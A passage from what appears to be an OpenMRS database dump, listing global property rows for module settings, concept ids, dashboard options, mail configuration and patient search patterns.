comma-separated list of the allowed concept classes for the reaction field of the allergy dialog','42d3c6b9-73f1-4c08-9d60-a8cfc7b601e2',NULL,NULL,NULL,NULL),('application.name','OpenMRS','The name of this application, as presented to the user, for example on the login and welcome pages.','a52180f6-c5f3-4c56-9730-f2a6c58a00da',NULL,NULL,NULL,NULL),('atomfeed.data-update.data-entry.roles-to-ignore','opensrp-rest-service','Any data created by user having mentioned roles (comma separated list) would be ignored during creating atomfeeds for Patient Update.','0374da57-7225-495d-9243-f090ecb4c3c9',NULL,NULL,NULL,NULL),('atomfeed.encounter.feed.publish.url','/openmrs/ws/rest/v1/encounter/%s?v=full','Url to be published on encounter save','6b5a7ef1-031e-4e3b-a4e2-f9dcf4a96ef3',NULL,NULL,NULL,NULL),('atomfeed.mandatory','false','true/false whether or not the atomfeed module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','22b0f380-f568-4238-a748-84791d9c4b85',NULL,NULL,NULL,NULL),('atomfeed.started','true','DO NOT MODIFY. true/false whether or not the atomfeed module has been started. This is used to make sure modules that were running prior to a restart are started again','8ca4a17e-ce1e-406d-bb25-64e81ec47eb8',NULL,NULL,NULL,NULL),('calculation.mandatory','false','true/false whether or not the calculation module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','be65e476-2a4e-4fa1-96c5-b24fe8239714',NULL,NULL,NULL,NULL),('calculation.started','true','DO NOT MODIFY. true/false whether or not the calculation module has been started. This is used to make sure modules that were running prior to a restart are started again','587a3ee1-5f23-4d9f-9963-7372aa592817',NULL,NULL,NULL,NULL),('cohort.mandatory','false','true/false whether or not the cohort module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','f0ec0b90-83c4-487d-981c-6a0273e68831',NULL,NULL,NULL,NULL),('cohort.started','true','DO NOT MODIFY. true/false whether or not the cohort module has been started. This is used to make sure modules that were running prior to a restart are started again','b7e811b8-4aac-43b1-9787-2efd1f0e16ff',NULL,NULL,NULL,NULL),('concept.causeOfDeath','5002','Concept id of the concept defining the CAUSE OF DEATH concept','7a28f707-53e7-4d56-8735-8ff5bb24ead1',NULL,NULL,NULL,NULL),('concept.defaultConceptMapType','NARROWER-THAN','Default concept map type which is used when no other is set','f408b7b1-2488-40e4-a50f-f0edec92529f',NULL,NULL,NULL,NULL),('concept.false','2','Concept id of the concept defining the FALSE boolean concept','1c5349be-d5bb-4fd8-a318-6786beecd2a8',NULL,NULL,NULL,NULL),('concept.height','5090','Concept id of the concept defining the HEIGHT concept','d41caca9-0914-4786-9c22-7aa754c64cac',NULL,NULL,NULL,NULL),('concept.medicalRecordObservations','1238','The concept id of the MEDICAL_RECORD_OBSERVATIONS concept. This concept_id is presumed to be the generic grouping (obr) concept in hl7 messages. An obs_group row is not created for this concept.','92bd05fd-fa0f-434a-ab67-52a1bf1ab945',NULL,NULL,NULL,NULL),('concept.none','1107','Concept id of the concept defining the NONE concept','7a100a95-0b9a-4165-9ce7-2e0ce5a47044',NULL,NULL,NULL,NULL),('concept.otherNonCoded','5622','Concept id of the concept defining the OTHER NON-CODED concept','b6714279-f3f9-4e20-9474-d1297693504b',NULL,NULL,NULL,NULL),('concept.patientDied','1742','Concept id of the concept defining the PATIENT DIED concept','5c4137fb-7fc8-486f-af62-4bd96149c503',NULL,NULL,NULL,NULL),('concept.problemList','1284','The concept id of the PROBLEM LIST concept. This concept_id is presumed to be the generic grouping (obr) concept in hl7 messages. An obs_group row is not created for this concept.','b0d06299-383f-44fa-9ea1-b546ee637d6c',NULL,NULL,NULL,NULL),('concept.reasonExitedCare',NULL,'Concept id of the concept defining the REASON EXITED CARE concept','d8d1820e-d57e-4f02-b883-09afb3226e82',NULL,NULL,NULL,NULL),('concept.reasonOrderStopped','1812','Concept id of the concept defining the REASON ORDER STOPPED concept','964997b5-a9a4-4f9c-9967-2e12f7a13ecf',NULL,NULL,NULL,NULL),('concept.true','1','Concept id of the concept defining the TRUE boolean concept','e72fa966-259d-4ede-b9fb-993d01d95d1a',NULL,NULL,NULL,NULL),('concept.weight','5089','Concept id of the concept defining the WEIGHT concept','7e2b9979-1df6-45b6-9ff0-88627be8b665',NULL,NULL,NULL,NULL),('conceptDrug.dosageForm.conceptClasses',NULL,'A comma-separated list of the allowed concept classes for the dosage form field of the concept drug management form.','1bbea114-3603-403d-a3aa-033aff803675',NULL,NULL,NULL,NULL),('conceptDrug.route.conceptClasses',NULL,'A comma-separated list of the allowed concept classes for the route field of the concept drug management form.','446544e2-1863-4035-89d0-54dbb0b3fb47',NULL,NULL,NULL,NULL),('concepts.locked','false','if true, do not allow editing concepts','40dd80ba-6b18-42e9-89f0-de66fad79731','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('concept_map_type_management.enable','false','Enables or disables management of concept map types','eb0c0049-d9c3-4542-95cb-800e7ab33802','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('dashboard.encounters.maximumNumberToShow','3','An integer which, if specified, would determine the maximum number of encounters to display on the encounter tab of the patient dashboard.','11af986e-b3dc-4b99-8118-049ed84ed33b',NULL,NULL,NULL,NULL),('dashboard.encounters.providerDisplayRoles',NULL,'A comma-separated list of encounter roles (by name or id). Providers with these roles in an encounter will be displayed on the encounter tab of the patient dashboard.','3aabbb43-896d-4f77-a66f-d2bb456b51e4',NULL,NULL,NULL,NULL),('dashboard.encounters.showEditLink','true','true/false whether or not to show the \'Edit Encounter\' link on the patient dashboard','f9afc5ba-a38b-4735-ade5-1aa6458b7b0b','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('dashboard.encounters.showEmptyFields','true','true/false whether or not to show empty fields on the \'View Encounter\' window','0745f726-743b-4da7-b975-fa880b3ad925','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('dashboard.encounters.showViewLink','true','true/false whether or not to show the \'View Encounter\' link on the patient dashboard','21851f27-fd36-4272-8d72-57d980872a0a','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('dashboard.encounters.usePages','smart','true/false/smart on how to show the pages on the \'View Encounter\' window. \'smart\' means that if > 50% of the fields have page numbers defined, show data in pages','cd57eb6e-3334-405b-93e8-24b0144db608',NULL,NULL,NULL,NULL),('dashboard.header.programs_to_show',NULL,'List of programs to show Enrollment details of in the patient header. (Should be an ordered comma-separated list of program_ids or names.)','db785f24-37d9-41ee-805e-30d325ba6b11',NULL,NULL,NULL,NULL),('dashboard.header.showConcept','5497','Comma delimited list of concepts ids to show on the patient header overview','3ede0b3d-9dae-4fe5-9500-ec75135d8889',NULL,NULL,NULL,NULL),('dashboard.header.workflows_to_show',NULL,'List of programs to show Enrollment details of in the patient header. List of workflows to show current status of in the patient header. These will only be displayed if they belong to a program listed above. (Should be a comma-separated list of program_workflow_ids.)','eae4937f-42f4-4b80-9066-6db17c8e6b43',NULL,NULL,NULL,NULL),('dashboard.metadata.caseConversion',NULL,'Indicates which type automatic case conversion is applied to program/workflow/state in the patient dashboard. Valid values: lowercase, uppercase, capitalize. If empty no conversion is applied.','a32595f3-39a4-4389-a379-e8b0a470465b',NULL,NULL,NULL,NULL),('dashboard.overview.showConcepts',NULL,'Comma delimited list of concepts ids to show on the patient dashboard overview tab','81aa965f-e412-4985-820b-d51c1cbfea09',NULL,NULL,NULL,NULL),('dashboard.regimen.displayDrugSetIds','ANTIRETROVIRAL DRUGS,TUBERCULOSIS TREATMENT DRUGS','Drug sets that appear on the Patient Dashboard Regimen tab. Comma separated list of name of concepts that are defined as drug sets.','5603b6d9-0749-4c31-b6c6-f82c5b1a67ff',NULL,NULL,NULL,NULL),('dashboard.regimen.displayFrequencies','7 days/week,6 days/week,5 days/week,4 days/week,3 days/week,2 days/week,1 days/week','Frequency of a drug order that appear on the Patient Dashboard. Comma separated list of name of concepts that are defined as drug frequencies.','efce3d20-f7b1-4b5a-a23b-e535765c087c',NULL,NULL,NULL,NULL),('dashboard.regimen.standardRegimens','<list> <regimenSuggestion> <drugComponents> <drugSuggestion> <drugId>2</drugId> <dose>1</dose> <units>tab(s)</units> <frequency>2/day x 7 days/week</frequency> <instructions></instructions> </drugSuggestion> </drugComponents> <displayName>3TC + d4T(30) + NVP (Triomune-30)</displayName> <codeName>standardTri30</codeName> <canReplace>ANTIRETROVIRAL DRUGS</canReplace> </regimenSuggestion> <regimenSuggestion> <drugComponents> <drugSuggestion> <drugId>3</drugId> <dose>1</dose> <units>tab(s)</units> <frequency>2/day x 7 days/week</frequency> <instructions></instructions> </drugSuggestion> </drugComponents> <displayName>3TC + d4T(40) + NVP (Triomune-40)</displayName> <codeName>standardTri40</codeName> <canReplace>ANTIRETROVIRAL DRUGS</canReplace> </regimenSuggestion> <regimenSuggestion> <drugComponents> <drugSuggestion> <drugId>39</drugId> <dose>1</dose> <units>tab(s)</units> <frequency>2/day x 7 days/week</frequency> <instructions></instructions> </drugSuggestion> <drugSuggestion> <drugId>22</drugId> <dose>200</dose> <units>mg</units> <frequency>2/day x 7 days/week</frequency> <instructions></instructions> </drugSuggestion> </drugComponents> <displayName>AZT + 3TC + NVP</displayName> <codeName>standardAztNvp</codeName> <canReplace>ANTIRETROVIRAL DRUGS</canReplace> </regimenSuggestion> <regimenSuggestion> <drugComponents> <drugSuggestion reference=\"../../../regimenSuggestion[3]/drugComponents/drugSuggestion\"/> <drugSuggestion> <drugId>11</drugId> <dose>600</dose> <units>mg</units> <frequency>1/day x 7 days/week</frequency> <instructions></instructions> </drugSuggestion> </drugComponents> <displayName>AZT + 3TC + EFV(600)</displayName> <codeName>standardAztEfv</codeName> <canReplace>ANTIRETROVIRAL DRUGS</canReplace> </regimenSuggestion> <regimenSuggestion> <drugComponents> <drugSuggestion> <drugId>5</drugId> <dose>30</dose> <units>mg</units> <frequency>2/day x 7 days/week</frequency> <instructions></instructions> </drugSuggestion> <drugSuggestion> <drugId>42</drugId> <dose>150</dose> <units>mg</units> <frequency>2/day x 7 days/week</frequency> <instructions></instructions> </drugSuggestion> <drugSuggestion reference=\"../../../regimenSuggestion[4]/drugComponents/drugSuggestion[2]\"/> </drugComponents> <displayName>d4T(30) + 3TC + EFV(600)</displayName> <codeName>standardD4t30Efv</codeName> <canReplace>ANTIRETROVIRAL DRUGS</canReplace> </regimenSuggestion> <regimenSuggestion> <drugComponents> <drugSuggestion> <drugId>6</drugId> <dose>40</dose> <units>mg</units> <frequency>2/day x 7 days/week</frequency> <instructions></instructions> </drugSuggestion> <drugSuggestion reference=\"../../../regimenSuggestion[5]/drugComponents/drugSuggestion[2]\"/> <drugSuggestion reference=\"../../../regimenSuggestion[4]/drugComponents/drugSuggestion[2]\"/> </drugComponents> <displayName>d4T(40) + 3TC + EFV(600)</displayName> <codeName>standardD4t40Efv</codeName> <canReplace>ANTIRETROVIRAL DRUGS</canReplace> </regimenSuggestion></list>','XML description of standard drug regimens, to be shown as shortcuts on the dashboard regimen entry tab','8f79227f-37d6-4d9f-8e7e-788efef53739',NULL,NULL,NULL,NULL),('dashboard.relationships.show_types',NULL,'Types of relationships separated by commas. Doctor/Patient,Parent/Child','c19242bf-3530-4197-b293-84d8a80224a3',NULL,NULL,NULL,NULL),('dashboard.showPatientName','false','Whether or not to display the patient name in the patient dashboard title. Note that enabling this could be security risk if multiple users operate on the same computer.','1d70ae20-7314-43e7-b9b5-87243b200981','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('datePicker.weekStart','0','First day of the week in the date picker. Domingo/Dimanche/Sunday:0 Lunes/Lundi/Monday:1','526e0a35-8cd8-480d-96ea-5490ea075b97',NULL,NULL,NULL,NULL),('default_locale','en_GB','Specifies the default locale. You can specify both the language code(ISO-639) and the country code(ISO-3166), e.g. \'en_GB\' or just country: e.g. \'en\'','9685ffdc-3cc9-4056-b361-f3cf99e007c8',NULL,NULL,NULL,NULL),('default_location','Unknown Location','The name of the location to use as a system default','917aeb38-1079-4eac-905c-f53882131d72',NULL,NULL,NULL,NULL),('default_theme',NULL,'Default theme for users. OpenMRS ships with themes of \'green\', \'orange\', \'purple\', and \'legacy\'','1d9f04b4-1b48-4516-8cef-1090f2562874',NULL,NULL,NULL,NULL),('dhislocation.mandatory','false','true/false whether or not the dhislocation module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','8da55ed9-756d-4a4f-9183-7ad8a9fc149c',NULL,NULL,NULL,NULL),('dhislocation.started','true','DO NOT MODIFY. true/false whether or not the dhislocation module has been started. This is used to make sure modules that were running prior to a restart are started again','13e693cb-2eb3-4a08-a7b9-475e9d8d2d7f',NULL,NULL,NULL,NULL),('dhisreport.database_version','1.2','DO NOT MODIFY. Current database version number for the dhisreport module.','9a7cb5c9-e5bf-4d3f-b90b-de1fd0945a7d',NULL,NULL,NULL,NULL),('dhisreport.dhis2Password',NULL,'The Password of the DHIS Server','<PASSWORD>',NULL,NULL,NULL,NULL),('dhisreport.dhis2SyncDate',NULL,'The last sync date of reports.','d72a4e7d-2501-4a48-85db-37aea<PASSWORD>',NULL,NULL,NULL,NULL),('dhisreport.dhis2URL','http://httpbin.org/post','DHIS2 URL where the report has to be sent.','6ffbd565-adaf-4c79-9634-eb693231afcd',NULL,NULL,NULL,NULL),('dhisreport.dhis2UserName','dhis2 username','The Username of the DHIS Server','1501e0e9-0149-40c3-b23f-cb8e20fe6f83',NULL,NULL,NULL,NULL),('dhisreport.mandatory','false','true/false whether or not the dhisreport module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','ae08148d-ea32-4a9e-98c4-d885eed3e765',NULL,NULL,NULL,NULL),('dhisreport.SchedulerURL',NULL,'URL of the page where we post reports (e.g. http://localhost:8081/openmrs18/module/dhisreport/executeReport.form )','3af35075-4c6f-417e-8290-2ca3abb22aa6',NULL,NULL,NULL,NULL),('dhisreport.started','true','DO NOT MODIFY. true/false whether or not the dhisreport module has been started. This is used to make sure modules that were running prior to a restart are started again','e4aa4e30-128c-4d45-98ad-d8c493288ba8',NULL,NULL,NULL,NULL),('drugOrder.requireDrug','false','Set to value true if you need to specify a formulation(Drug) when creating a drug order.','0c94c551-5210-4abc-8f91-45617d6b479e',NULL,NULL,NULL,NULL),('encounterForm.obsSortOrder','number','The sort order for the obs listed on the encounter edit form. \'number\' sorts on the associated numbering from the form schema. \'weight\' sorts on the order displayed in the form schema.','c20110ad-336d-4738-9ad2-6c79b7c6ef1a',NULL,NULL,NULL,NULL),('EncounterType.encounterTypes.locked','false','saving, retiring or deleting an Encounter Type is not permitted, if true','df106fcc-031d-44a2-a97a-b19c258482a8','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('Form.forms.locked','false','Set to a value of true if you do not want any changes to be made on forms, else set to false.','2b0bd477-9d2e-4683-8def-32059a9f23c4',NULL,NULL,NULL,NULL),('FormEntry.enableDashboardTab','true','true/false whether or not to show a Form Entry tab on the patient dashboard','6c22397b-0ab4-48ad-83d9-a2209e973dab','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('FormEntry.enableOnEncounterTab','false','true/false whether or not to show a Enter Form button on the encounters tab of the patient dashboard','a48b7601-0b14-4463-8655-30c405dd3e29','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('graph.color.absolute','rgb(20,20,20)','Color of the \'invalid\' section of numeric graphs on the patient dashboard.','32c4ff9f-7003-4b93-b4d7-16a1e8869ba8',NULL,NULL,NULL,NULL),('graph.color.critical','rgb(200,0,0)','Color of the \'critical\' section of numeric graphs on the patient dashboard.','726f85b9-9c97-41ff-aa5c-20e43205b511',NULL,NULL,NULL,NULL),('graph.color.normal','rgb(255,126,0)','Color of the \'normal\' section of numeric graphs on the patient dashboard.','551a42bb-8884-4c02-8415-db08665244c1',NULL,NULL,NULL,NULL),('gzip.enabled','false','Set to \'true\' to turn on OpenMRS\'s gzip filter, and have the webapp compress data before sending it to any client that supports it. Generally use this if you are running Tomcat standalone. If you are running Tomcat behind Apache, then you\'d want to use Apache to do gzip compression.','12f6a7b4-0d46-4987-a9cb-0c7c29f8dd75','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('hl7_archive.dir','hl7_archives','The default name or absolute path for the folder where to write the hl7_in_archives.','d63e728e-e8cf-443f-b7db-2410d630f3f4',NULL,NULL,NULL,NULL),('hl7_processor.ignore_missing_patient_non_local','false','If true, hl7 messages for patients that are not found and are non-local will silently be dropped/ignored','483a23ef-27e8-4585-982b-d4b5fecbe9e3','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('htmlformentry.dateFormat',NULL,'Always display dates in HTML Forms in this (Java) date format. E.g. \"dd/MMM/yyyy\" for 31/Jan/2012.','a97742d1-1921-4cc1-b1b0-981775544649',NULL,NULL,NULL,NULL),('htmlformentry.datePickerYearsRange','110,20','datePickerYearsRange parameter can be set here Eg:\'110,20\' meaning that the possible years that appear in the datepicker dropdown range from 20 years past the current year, and 110 years prior to the current year.','45b04c9b-7bcf-4b03-82b0-fbf0051ecd20',NULL,NULL,NULL,NULL),('htmlformentry.mandatory','false','true/false whether or not the htmlformentry module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','3c3ca8e6-f2e4-48d1-92e8-2886bfdabd50',NULL,NULL,NULL,NULL),('htmlformentry.showDateFormat','true','Set to true if you want static text for the date format to be displayed next to date widgets, else set to false.','f6f1a4c1-8a7b-4e9a-ba5d-dd52dd138531',NULL,NULL,NULL,NULL),('htmlformentry.started','true','DO NOT MODIFY. true/false whether or not the htmlformentry module has been started. This is used to make sure modules that were running prior to a restart are started again','b2ae165c-b7de-4688-b4a9-5637293a6511',NULL,NULL,NULL,NULL),('htmlwidgets.mandatory','false','true/false whether or not the htmlwidgets module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','2730c18c-03b4-4947-bcc0-5701f0a48dad',NULL,NULL,NULL,NULL),('htmlwidgets.started','true','DO NOT MODIFY. true/false whether or not the htmlwidgets module has been started. This is used to make sure modules that were running prior to a restart are started again','941b5b6a-6475-4e19-9532-a40cfa1ee526',NULL,NULL,NULL,NULL),('idgen-webservices.mandatory','false','true/false whether or not the idgen-webservices module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','f9e70e9d-ba2f-4f27-a604-45c927b0c083',NULL,NULL,NULL,NULL),('idgen-webservices.started','true','DO NOT MODIFY. true/false whether or not the idgen-webservices module has been started. This is used to make sure modules that were running prior to a restart are started again','b7da5865-00cd-4e4d-9c0d-5d6ce0c08c44',NULL,NULL,NULL,NULL),('idgen.database_version','2.5.1','DO NOT MODIFY. Current database version number for the idgen module.','2d74eb25-9b40-4f21-8c53-100701df0138',NULL,NULL,NULL,NULL),('idgen.mandatory','false','true/false whether or not the idgen module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','6bbcc8ce-29cb-41f2-8296-cd9290e3fe78',NULL,NULL,NULL,NULL),('idgen.started','true','DO NOT MODIFY. true/false whether or not the idgen module has been started. This is used to make sure modules that were running prior to a restart are started again','3743517c-2607-4b62-8d05-03e72d6f3b7a',NULL,NULL,NULL,NULL),('layout.address.format','<org.openmrs.layout.web.address.AddressTemplate>\n <nameMappings class=\"properties\">\n <property name=\"postalCode\" value=\"Location.postalCode\"/>\n <property name=\"address2\" value=\"Location.address2\"/>\n <property name=\"address1\" value=\"Location.address1\"/>\n <property name=\"country\" value=\"Location.country\"/>\n <property name=\"stateProvince\" value=\"Location.stateProvince\"/>\n <property name=\"cityVillage\" value=\"Location.cityVillage\"/>\n </nameMappings>\n <sizeMappings class=\"properties\">\n <property name=\"postalCode\" value=\"10\"/>\n <property name=\"address2\" value=\"40\"/>\n <property name=\"address1\" value=\"40\"/>\n <property name=\"country\" value=\"10\"/>\n <property name=\"stateProvince\" value=\"10\"/>\n <property name=\"cityVillage\" value=\"10\"/>\n </sizeMappings>\n <lineByLineFormat>\n <string>address1</string>\n <string>address2</string>\n <string>cityVillage stateProvince country postalCode</string>\n </lineByLineFormat>\n </org.openmrs.layout.web.address.AddressTemplate>','XML description of address formats','e067303b-bbbc-4eba-8f60-9cc1b1380d09',NULL,NULL,NULL,NULL),('layout.name.format','short','Format in which to display the person names. Valid values are short, long','23ea144b-783f-451a-b8e3-ba94c5e3ef27',NULL,NULL,NULL,NULL),('locale.allowed.list','en, es, fr, it, pt','Comma delimited list of locales allowed for use on system','5e21d437-8907-44a1-81e6-3c420b3ad857',NULL,NULL,NULL,NULL),('location.field.style','default','Type of widget to use for location fields','474ee72a-1f1f-41a3-ba0b-791b18a351ff',NULL,NULL,NULL,NULL),('log.layout','%p - %C{1}.%M(%L) |%d{ISO8601}| %m%n','A log layout pattern which is used by the OpenMRS file appender.','650a55b0-e1b0-4a92-a6ff-d4acea8b8864',NULL,NULL,NULL,NULL),('log.level','org.openmrs.api:info','Logging levels for log4j.xml. Valid format is class:level,class:level. If class not specified, \'org.openmrs.api\' presumed. Valid levels are trace, debug, info, warn, error or fatal','b195c8ce-5d7d-47fe-9116-bef4e3af79b7',NULL,NULL,NULL,NULL),('log.location',NULL,'A directory where the OpenMRS log file appender is stored. The log file name is \'openmrs.log\'.','d7fb96b2-a8ff-4965-8224-2bea396d64b8',NULL,NULL,NULL,NULL),('mail.debug','false','true/false whether to print debugging information during mailing','9debd291-9873-43a4-bac9-d36ab128c4b4',NULL,NULL,NULL,NULL),('mail.default_content_type','text/plain','Content type to append to the mail messages','f041ac71-4f0a-433d-8a7c-5cd6dc117427',NULL,NULL,NULL,NULL),('mail.from','<EMAIL>','Email address to use as the default from address','6162467a-e3b8-49aa-9da3-4c5878877c06',NULL,NULL,NULL,NULL),('mail.password','<PASSWORD>','Password for the SMTP user (if smtp_auth is enabled)','c516ce4a-eae6-4970-9cd7-8867ef01e1ee',NULL,NULL,NULL,NULL),('mail.smtp.starttls.enable','false','Set to true to enable TLS encryption, else set to false','bb7dc529-e40c-42c6-821e-f31a55c3cd16',NULL,NULL,NULL,NULL),('mail.smtp_auth','false','true/false whether the smtp host requires authentication','f9d06db1-fa5d-47fb-9ca5-4cf7293c83eb',NULL,NULL,NULL,NULL),('mail.smtp_host','localhost','SMTP host name','f0cc5e14-a934-43d5-a15d-1eae03e1cf0b',NULL,NULL,NULL,NULL),('mail.smtp_port','25','SMTP port','5486447b-2adf-41e8-98ea-1579263db920',NULL,NULL,NULL,NULL),('mail.transport_protocol','smtp','Transport protocol for the messaging engine. Valid values: smtp','f8ef727c-ad35-4cce-915d-e528080e7d73',NULL,NULL,NULL,NULL),('mail.user','test','Username of the SMTP user (if smtp_auth is enabled)','<PASSWORD>d6-eb<PASSWORD>',NULL,NULL,NULL,NULL),('minSearchCharacters','2','Number of characters user must input before searching is started.','a5c0c477-091d-4aae-a2a6-66208f5e162d',NULL,NULL,NULL,NULL),('module_repository_folder','modules','Name of the folder in which to store the modules','224798d6-237c-49da-83ac-6e5b13b92fe0',NULL,NULL,NULL,NULL),('newPatientForm.relationships',NULL,'Comma separated list of the RelationshipTypes to show on the new/short patient form. The list is defined like \'3a, 4b, 7a\'. The number is the RelationshipTypeId and the \'a\' vs \'b\' part is which side of the relationship is filled in by the user.','f5838bd5-eef2-4683-a003-d0238f2d9aaf',NULL,NULL,NULL,NULL),('new_patient_form.showRelationships','false','true/false whether or not to show the relationship editor on the addPatient.htm screen','8224539e-c369-4883-9f5c-e761e341faf2','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('obs.complex_obs_dir','complex_obs','Default directory for storing complex obs.','f1877dad-40da-47f8-b282-8332c85ff55e',NULL,NULL,NULL,NULL),('order.drugDispensingUnitsConceptUuid',NULL,'Specifies the uuid of the concept set where its members represent the possible drug dispensing units','dcb41543-71c5-4217-91d5-f8cda0c19307',NULL,NULL,NULL,NULL),('order.drugDosingUnitsConceptUuid',NULL,'Specifies the uuid of the concept set where its members represent the possible drug dosing units','a281544a-0609-4639-8232-6924166fd12b',NULL,NULL,NULL,NULL),('order.drugRoutesConceptUuid',NULL,'Specifies the uuid of the concept set where its members represent the possible drug routes','254cb785-f3e2-49bc-8656-32a44ff1920d',NULL,NULL,NULL,NULL),('order.durationUnitsConceptUuid',NULL,'Specifies the uuid of the concept set where its members represent the possible duration units','ec6b2844-43c9-430c-8d4f-e0a83c077df7',NULL,NULL,NULL,NULL),('order.nextOrderNumberSeed','1','The next order number available for assignment','820a52a3-bb03-420f-8c75-690e1bff2b1d',NULL,NULL,NULL,NULL),('order.orderNumberGeneratorBeanId',NULL,'Specifies spring bean id of the order generator to use when assigning order numbers','6a5974e2-5dab-4a75-847f-82898b2f8cdd',NULL,NULL,NULL,NULL),('order.testSpecimenSourcesConceptUuid',NULL,'Specifies the uuid of the concept set where its members represent the possible test specimen sources','2d097645-1093-4458-92f6-5e58bada9bd4',NULL,NULL,NULL,NULL),('patient.defaultPatientIdentifierValidator','org.openmrs.patient.impl.LuhnIdentifierValidator','This property sets the default patient identifier validator. The default validator is only used in a handful of (mostly legacy) instances. For example, it\'s used to generate the isValidCheckDigit calculated column and to append the string \"(default)\" to the name of the default validator on the editPatientIdentifierType form.','f7bba385-78aa-4fdd-8f3f-f378ce18a36d',NULL,NULL,NULL,NULL),('patient.headerAttributeTypes',NULL,'A comma delimited list of PersonAttributeType names that will be shown on the patient dashboard','31525721-6c57-4147-874f-5ee8b0a7b94e',NULL,NULL,NULL,NULL),('patient.identifierPrefix',NULL,'This property is only used if patient.identifierRegex is empty. The string here is prepended to the sql indentifier search string. The sql becomes \"... where identifier like \'<PREFIX><QUERY STRING><SUFFIX>\';\". Typically this value is either a percent sign (%) or empty.','83f95346-d69b-46d8-9c1b-b73af44387e4',NULL,NULL,NULL,NULL),('patient.identifierRegex',NULL,'WARNING: Using this search property can cause a drop in mysql performance with large patient sets. A MySQL regular expression for the patient identifier search strings. The @SEARCH@ string is replaced at runtime with the user\'s search string. An empty regex will cause a simply \'like\' sql search to be used. Example: ^0*@SEARCH@([A-Z]+-[0-9])?$','0c090460-459e-4fa5-b46f-e474fe5663dc',NULL,NULL,NULL,NULL),('patient.identifierSearchPattern',NULL,'If this is empty, the regex or suffix/prefix search is used. Comma separated list of identifiers to check. Allows for faster searching of multiple options rather than the slow regex. e.g. @SEARCH@,0@SEARCH@,@SEARCH-1@-@CHECKDIGIT@,0@SEARCH-1@-@CHECKDIGIT@ would turn a request for \"4127\" into a search for \"in (\'4127\',\'04127\',\'412-7\',\'0412-7\')\"','3eef3077-1f7c-4d04-a147-020aadc3cce9',NULL,NULL,NULL,NULL),('patient.identifierSuffix',NULL,'This property is only used if patient.identifierRegex is empty. The string here is prepended to the sql indentifier search string. The sql becomes \"... where identifier like \'<PREFIX><QUERY STRING><SUFFIX>\';\". Typically this value is either a percent sign (%) or empty.','ac1d43c1-1622-4693-9895-f5ca38c54d0f',NULL,NULL,NULL,NULL),('patient.listingAttributeTypes',NULL,'A comma delimited list of PersonAttributeType names that should be displayed for patients in _lists_','62b2cc1b-e5eb-46b3-9e78-461b94c37cc8',NULL,NULL,NULL,NULL),('patient.nameValidationRegex','^[a-zA-Z \\-]+$','Names of the patients must pass this regex. Eg : ^[a-zA-Z \\-]+$ contains only english alphabet letters, spaces, and hyphens. A value of .* or the empty string means no validation is done.','24825f88-043b-49d5-ac8b-399677ebdea4',NULL,NULL,NULL,NULL),('patient.viewingAttributeTypes',NULL,'A comma delimited list of PersonAttributeType names that should be displayed for patients when _viewing individually_','6d68b87b-5cc9-4566-ab34-e8b3a9ad4ba2',NULL,NULL,NULL,NULL),('PatientIdentifierType.locked','false','Set to a value of true if you do not want allow editing patient identifier types, else set to false.','052c9f9e-3a94-4069-8e58-d03221647e73',NULL,NULL,NULL,NULL),('patientSearch.matchMode','START','Specifies how patient names are matched while searching patient. Valid values are \'ANYWHERE\' or \'START\'. Defaults to start if missing or invalid value is present.','c4f9c346-b7f4-4abe-82e2-59486bea69c6',NULL,NULL,NULL,NULL),('patient_identifier.importantTypes',NULL,'A comma delimited list of PatientIdentifier names : PatientIdentifier locations that will be displayed on the patient dashboard. E.g.: TRACnet ID:Rwanda,ELDID:Kenya','cd8c8686-7f84-473a-bdcd-3883356f76c9',NULL,NULL,NULL,NULL),('person.attributeSearchMatchMode','EXACT','Specifies how person attributes are matched while searching person. Valid values are \'ANYWHERE\' or \'EXACT\'. Defaults to exact if missing or invalid value is present.','6a980fb7-64b7-4688-8b22-dbe1e36a470f',NULL,NULL,NULL,NULL),('person.searchMaxResults','1000','The maximum number of results returned by patient searches','47666d43-9f8c-4bfa-8e38-55c18f97b5e7',NULL,NULL,NULL,NULL),('PersonAttributeType.locked','false','Set to a value of true if you do not want allow editing person attribute types, else set to false.','3c773d8c-5c99-425f-a39b-04e897440202',NULL,NULL,NULL,NULL),('provider.unknownProviderUuid',NULL,'Specifies the uuid of the Unknown Provider account','926c30fc-2948-429c-8b18-aa8c53e36b5d',NULL,NULL,NULL,NULL),('providerSearch.matchMode','EXACT','Specifies how provider identifiers are matched while searching for providers. Valid values are START,EXACT, END or ANYWHERE','442cb309-837d-40d7-bc43-fb59c14ebbd5',NULL,NULL,NULL,NULL),('report.deleteReportsAgeInHours','72','Reports that are not explicitly saved are deleted automatically when they are this many hours old. (Values less than or equal to zero means do not delete automatically)','a2715c3d-56b8-4ee3-9fae-706fc8c3cb44',NULL,NULL,NULL,NULL),('report.xmlMacros',NULL,'Macros that will be applied to Report Schema XMLs when they are interpreted. This should be java.util.properties format.','88868c9c-b28a-4b95-9f87-5c0fb814a13e',NULL,NULL,NULL,NULL),('reporting.dataEvaluationBatchSize','-1','This determines whether to run evaluators for Data in batches and what the size of those batches should be.\nA value of less than or equal to 0 indicates that no batching is 